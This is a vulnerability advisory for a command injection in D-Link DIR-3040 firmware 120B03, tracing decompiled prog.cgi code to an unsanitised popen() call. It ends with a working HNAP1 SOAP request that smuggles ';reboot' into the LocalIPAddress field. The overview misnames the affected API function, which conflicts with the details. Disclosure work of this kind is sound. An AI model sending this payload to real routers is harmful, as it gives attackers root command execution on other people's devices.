D-link DIR3040_A1_FW120B03.bin Command injection vulnerability

Overview

- Manufacturer's website information： https://www.dlink.com/
- Firmware download address ： https://tsd.dlink.com.tw/.

A problem was found on the D-Link DIR-3040 device with firmware 120B03. This problem is a command injection that allows remote attackers to execute arbitrary code and obtain a root shell. Command injection vulnerabilities allow attackers to execute arbitrary operating system commands via a crafted/HNAP1 POST request. This occurs when any HNAP API function triggers a call to a system function using untrusted input from the request body of the SetWebFilterSettings API function.

Vulnerability details

DIR-3040 prog.cgi Keyword api SetVirtualServerSettings。

Web management functionality on the DIR-3040 is mainly handled by the `prog.cgi` binary. The `lighttpd fastcgi` server configuration is such that requests made to `/HNAP1/` or files with the `.fcgi` extension are handled by `/etc_ro/lighttpd/www/web/HNAP1/prog.fcgi`, which is a symlink to `/bin/prog.cgi`.

__s1parameter and iVar5 parameter are acquired as follows.

```
snprintf(acStack276,0x100,"/SetVirtualServerSettings/VirtualServerList/VirtualServerInfo:%d/%s",
             local_415c,"Enabled");
__s1 = (char *)webGetVarString(param_1,acStack276);
```

```
 snprintf(acStack276,0x100,
 
"/SetVirtualServerSettings/VirtualServerList/VirtualServerInfo:%d/%s",local_415c,
               "LocalIPAddress");
 iVar5 = webGetVarString(param_1,acStack276);
```

If a request with a non-null `LocalIPAddress`, `Enabled` set to “true”, an `InternalPort` of “9” and a `ProtocolType` of “UDP” is sent, the function FUN_00462400 is invoked.

```
iVar7 = strcmp(__s1,"true");
if ((((iVar7 == 0) && (iVar5 != 0)) && (iVar7 = strcmp(__s1_00,"9"), iVar7 == 0)) &&
   (iVar7 = strcmp(__s1_01,(char *)&PTR_DAT_004e09ec), iVar7 == 0)) {
  local_4154 = local_4154 + 1;
  iVar7 = FUN_00462400(iVar5,__s1_00,__s1_01,auStack16676,local_4154);
  if (iVar7 == -1) {
    local_4160 = 0xb;
    goto LAB_004632dc;
  }
}
```

function attempts to check the device ARP records, by calling the `arp` system command and `grep`'ing the output. However, the user-controlled value passed as the `LocalIPAddress` is written directly into the command line format string with `snprint()`. This string is then passed directly to a function called `FCGI_popen()`, which is a library function imported from `libfcgi.so`.

```
undefined4
FUN_00462400(undefined4 param_1,undefined4 param_2,undefined4 param_3,char *param_4,int
param_5)

{
..
...
.....
  memset(acStack136,0,0x40);
  memset(auStack72,0,0x40);
  snprintf(acStack136,0x40,"arp | grep %s | awk \'{printf $4}\'",param_1);
  iVar1 = FCGI_popen(acStack136,&DAT_004e08f4);
  if (iVar1 == 0) {
    uVar2 = 0xffffffff;
  }
```

We can see in `libfcgi.so` that `FCGI_popen()` is essentially only a thin wrapper around the stdio `popen()` library function. Arguments passed to `FCGI_popen()` get passed directly to `popen()`.

```
int FCGI_popen(char *param_1,char *param_2)

{
  FILE *__stream;
  int iVar1;

  __stream = popen(param_1,param_2);
  iVar1 = FCGI_OpenFromFILE(__stream);
  if ((__stream != (FILE *)0x0) && (iVar1 == 0)) {
    pclose(__stream);
  }
  return iVar1;
}
```

Since the `LocalIPAddress` value is not sanitized or checked in any way, a crafted command injection string can be passed as the `LocalIPAddress`, which will then be written to the `arp` command format string, and passed (almost) directly to `popen()`.

POC

1. Attack with the following POC attacks

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetVirtualServerSettings"
HNAP_AUTH: A4A816AE6CF2AC5537B0EB390FFB591C 1436839665
Content-Length: 765
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/VirtualServer.html
Cookie: uid=ZeNYZag3Gw

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SetVirtualServerSettings>
      <VirtualServerList>
        <VirtualServerInfo>
          <Enabled>true</Enabled>
          <VirtualServerDescription>Wake-On-Lan</VirtualServerDescription>
          <ExternalPort>1</ExternalPort>
          <InternalPort>9</InternalPort>
          <ProtocolType>UDP</ProtocolType>
          <ProtocolNumber>1</ProtocolNumber>
          <LocalIPAddress>192.168.0.100;reboot</LocalIPAddress>
          <ScheduleName></ScheduleName>
        </VirtualServerInfo>
      </VirtualServerList>
    </SetVirtualServerSettings>
  </soap:Body>
</soap:Envelope>
```

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell